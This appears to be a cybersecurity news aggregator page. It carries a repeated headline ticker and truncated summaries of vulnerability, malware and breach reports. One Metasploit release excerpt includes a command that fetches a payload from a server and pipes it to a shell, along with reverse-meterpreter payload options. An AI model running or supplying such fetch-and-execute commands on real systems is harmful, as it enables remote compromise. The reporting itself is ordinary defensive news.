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How AI is Rewriting the Zero-Day Playbook for Preemptive SecurityRapid7 · just nowCheck Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)Rapid7 · 30m agovBulletin fixes critical pre-auth RCE flaw with public exploitBleepingComputer · 53m agoPhantomEnigma Infects Organizations with Malware via Hijacked Government WebsitesHackRead · 1h agoShinyHunters Claims Ernst & Young (EY) Data Breach, Threatens July 31 LeakHackRead · 2h agoAembit Joins Snowflake to Tackle AI’s Next Security Frontier: Trusted Agent InteroperabilityHackRead · 3h agoBugs in Hugging Face Diffusers Bypass Custom Code SafeguardInfosecurity Magazine · 3h agoTengu Botnet Reboots Compromised Linux Devices When Defenders Kill Its ProcessThe Hacker News · 4h agoAI-Assisted Bug Hunt Uncovers Linux Kernel 0-Day in net/schedInfosecurity Magazine · 4h ago24,650 Internet-Exposed BMCs Disclose IPMI Password Hashes Before LoginThe Hacker News · 4h agoIs Your SSO Protected Against Modern Credential Attacks?BleepingComputer · 5h agoJFrog Confirms OpenAI Models Exploited Artifactory Zero-Day Before Hugging Face BreachThe Hacker News · 5h agoFrom Payments to Portfolios: How Financial Super Apps Rewrite Economics of Global InvestingHackRead · 5h agoPhishing Dominates as Initial Entry Method for Cyber-Attacks, as Hackers Hone Evasion TechniquesInfosecurity Magazine · 6h agoThe Next Evolution of MDR: Preemptive Defense and Agentic InvestigationRapid7 · 6h agoHow AI is Rewriting the Zero-Day Playbook for Preemptive SecurityRapid7 · just nowCheck Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)Rapid7 · 30m agovBulletin fixes critical pre-auth RCE flaw with public exploitBleepingComputer · 53m agoPhantomEnigma Infects Organizations with Malware via Hijacked Government WebsitesHackRead · 1h agoShinyHunters Claims Ernst & Young (EY) Data Breach, Threatens July 31 LeakHackRead · 2h agoAembit Joins Snowflake to Tackle AI’s Next Security Frontier: Trusted Agent InteroperabilityHackRead · 3h agoBugs in Hugging Face Diffusers Bypass Custom Code SafeguardInfosecurity Magazine · 3h agoTengu Botnet Reboots Compromised Linux Devices When Defenders Kill Its ProcessThe Hacker News · 4h agoAI-Assisted Bug Hunt Uncovers Linux Kernel 0-Day in net/schedInfosecurity Magazine · 4h ago24,650 Internet-Exposed BMCs Disclose IPMI Password Hashes Before LoginThe Hacker News · 4h agoIs Your SSO Protected Against Modern Credential Attacks?BleepingComputer · 5h agoJFrog Confirms OpenAI Models Exploited Artifactory Zero-Day Before Hugging Face BreachThe Hacker News · 5h agoFrom Payments to Portfolios: How Financial Super Apps Rewrite Economics of Global InvestingHackRead · 5h agoPhishing Dominates as Initial Entry Method for Cyber-Attacks, as Hackers Hone Evasion TechniquesInfosecurity Magazine · 6h agoThe Next Evolution of MDR: Preemptive Defense and Agentic InvestigationRapid7 · 6h ago

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Real-time news from 13+ trusted sources — BleepingComputer, The Hacker News, Krebs on Security, Dark Reading & more.

VulnerabilityThe Hacker News·10d ago
New wp2shell WordPress Core Flaw Lets Unauthenticated Attackers Run Code

An anonymous HTTP request can run code on a WordPress site. The bug is in core, so a bare install with zero plugins is exploitable. Every 6.9 and 7.0 site was in range until Friday, when WordPress shipped 6.9.5 and 7.0.2 and enabled what it calls forced updates through its auto-update system. Adam Kues at Assetnote, Searchlight Cyber's attack surface management arm, found the flaw and reported

VulnerabilityThe Hacker News·10d ago
OpenSSL HollowByte Flaw Could Freeze Server Memory with 11-Byte TLS Requests

Eleven bytes will make an unpatched OpenSSL server set aside up to 131 KB of memory for a message that never arrives. On the glibc systems Okta tested, that memory is gone until the process restarts. OpenSSL shipped the HollowByte fix in June with no CVE, no advisory, and no changelog entry pointing at it. Okta's Red Team, which reported the denial-of-service bug and named it, published the

VulnerabilityRapid7·10d ago
Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements

Metasploit Wrap Up Housekeeping While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the RSS Feed to be alerted when new blogs are released. Fetch Multi: Just Fetch and Forget? Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads. Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target. msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) show options Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3 .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+ , shell-search, shell) FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH x no Local URI to use for serving payload LHOST 10.5.135.210 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port When FETCH_COMMAND is one of CURL,GET,WGET: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_PIPE true yes Host both the binary payload and the command so it can be piped dire ctly to the shell. When FETCH_FILELESS is none: Name Current Setting Required Description ---- --------------- -------- ----------- FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot co ntain spa

VulnerabilityThe Hacker News·11d ago
Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT

Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack. The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron,

VulnerabilityRapid7·11d ago
CVE-2026-58644: Microsoft SharePoint Server Unauthenticated Remote Code Execution Vulnerability Exploited in the Wild

Overview On July 14, 2026, Microsoft published a security advisory addressing CVE-2026-58644 , a critical remote code execution (RCE) vulnerability affecting on-premises Microsoft SharePoint Server deployments. The vulnerability, which carries a CVSS v3.1 score of 9.8 (Critical), results from the deserialization of untrusted data ( CWE-502 ) and allows an unauthenticated attacker to execute arbitrary code. Microsoft confirmed active exploitation of CVE-2026-58644, and the vulnerability was subsequently added to CISA’s Known Exploited Vulnerabilities ( KEV ) catalog on July 16, 2026. In parallel, CISA published guidance recommending organizations immediately apply Microsoft’s security updates and leverage Microsoft Defender and AMSI detections to identify exploitation attempts. Affected products: Microsoft SharePoint Enterprise Server 2016 Microsoft SharePoint Server 2019 Microsoft SharePoint Server Subscription Edition Mitigation guidance Organizations operating affected on-premises Microsoft SharePoint Server should prioritize remediation on an emergency basis. Microsoft’s recommendations: Apply the July 14, 2026 security updates for all affected SharePoint versions. Verify that security updates completed successfully across all SharePoint servers. Ensure Antimalware Scan Interface (AMSI) integration is enabled for every SharePoint web application. Monitor Microsoft Defender and AMSI detections for indicators of attempted exploitation. Initiate incident response procedures if exploitation artifacts are detected. Microsoft and CISA recommend monitoring for the following security detections associated with observed SharePoint exploitation activity. AMSI / Microsoft Defender detections: Exploit:Script/SuspSignoutReqBody.A Request body scanning SharePoint Server Subscription Edition Microsoft reports observed exploitation attempts are blocked by this signature. Exploit:Script/ToolPaneAuthBypass.A Request header scanning Applies to SharePoint Server 2016, SharePoint Server 2019, and Subscription Edition. Exploit:Script/ToolPaneAuthBypass At the time of publication, no public IP addresses, domains, URLs, or additional network-based indicators of compromise have been widely disclosed. Administrators should consult Microsoft’s advisory for the most current remediation guidance and update availability. Rapid7 customers Exposure Command, InsightVM, and Nexpose Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-58644 with an authenticated vulnerability check available since the July 14 content release. Updates July 17, 2026 : Initial publication.

🦠 MalwareThe Hacker News·11d ago
New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens

A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator's own dashboard claims 3,811 unique AWS keys. A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama, n8n, Open WebUI, Langflow, and Gradio: the image generators, local model runners, and workflow builders that teams stand up fast and firewall late. The intel feed behind that counter

🔴 BreachThe Hacker News·11d ago
GoldenEyeDog Subgroup Linked to DigiCert Breach and Code-Signing Certificate Theft

Cybersecurity researchers have attributed the April 2026 DigiCert security incident to a threat activity cluster dubbed CylindricalCanine. Expel, which shared technical details of the event, described the threat actor as a sub-group of GoldenEyeDog (aka APT-Q-27, Dragon Breath, and Miuuti Group), a Chinese cybercrime group known for its targeting of the gambling and gaming sectors using

🩹 PatchMicrosoft Security·11d ago
Microsoft at Black Hat USA 2026: Defending trust in the age of AI and supply chain attacks

In this article Weston on the future of defense Our latest intelligence (and response) on npm supply chain attacks Follow the research in the Black Hat Briefings Go deeper in Microsoft sessions Visit booth #2144 for research, community, and hands-on defense Plan your week with Microsoft Security Skill up before and after Black Hat See you at hacker summer camp Microsoft Security booth #2144 experiences and schedule Across the threat landscape, in this moment, one pattern sits at the center of the story: threat actors are following trust. They are not only looking for vulnerable systems, but rather targeting the software, services, identities, tools, developer workflows, and AI systems that organizations already depend on. A package can become a distribution path. A build pipeline can become an access path. A trusted tool can become or expand an attack surface. An AI agent with the wrong access can become a new way to reach code, data, or infrastructure. While the surfaces may change, the goal for the majority of threat actors remains the same: find what is trusted, abuse it, and scale the impact. At Black Hat USA 2026 , Microsoft Security will walk through how we are seeing this shift unfold, how security teams can look for it earlier, and how threat intelligence, expert-led response, and security operations need to work together when campaigns move across software, identity, cloud, data, and AI systems. On Wednesday, August 5, 2026, the day begins with David Weston’s keynote, The End of Rare: Defending When Offense Is Cheap , which looks at what defense requires when offensive capability becomes easier to access, automate, and scale. Later that afternoon, Aarti Borkar and Tanmay Ganacharya will resume the main stage for Poisoned at the Source: Inside the Hunt for Supply Chain Attacks , which offers a closer look at how Microsoft Threat Intelligence is hunting attacks across software ecosystems, developer workflows, and trusted services. This includes details into the ongoing attacks on npm (Node package manager). Together, these sessions frame the challenge security teams are facing now: when offensive capability becomes easier to scale, security teams need to understand the trust paths threat actors can abuse before those paths become open doors for attacks. At our booth, we’ll also showcase Microsoft Defender Experts Threat Intelligence , a new expert-led service delivering continuous, curated intelligence tailored to your organization, and Microsoft Defender Experts MDR, now extended with third-party and multicloud coverage. From August 4 to 6, 2026, at Mandalay Bay in Las Vegas, you’ll find Microsoft Security on the Business Hall floor at booth #2144 , and on Wednesday evening, join us at the Microsoft Security reception at Swingers at Mandalay Bay. Register for the Microsoft Security reception Weston on the future of defense At 9:15 AM PT on Wednesday, August 5, 2026, David Weston, CVP of Agentic Security, will examine what changes for secu

🦠 MalwareThe Hacker News·11d ago
Fake Coding Tests Deliver OtterCookie-Aligned Malware Hidden in SVG Flag Images

North Korean threat actors linked to the Contagious Interview campaign have been observed employing steganography in SVG image files to conceal malicious payloads as part of a campaign using fake job postings and coding challenges. "Any user who ran the project ended up with a four-stage payload aligned with OTTERCOOKIE: a browser credential and crypto wallet stealer, a file stealer, a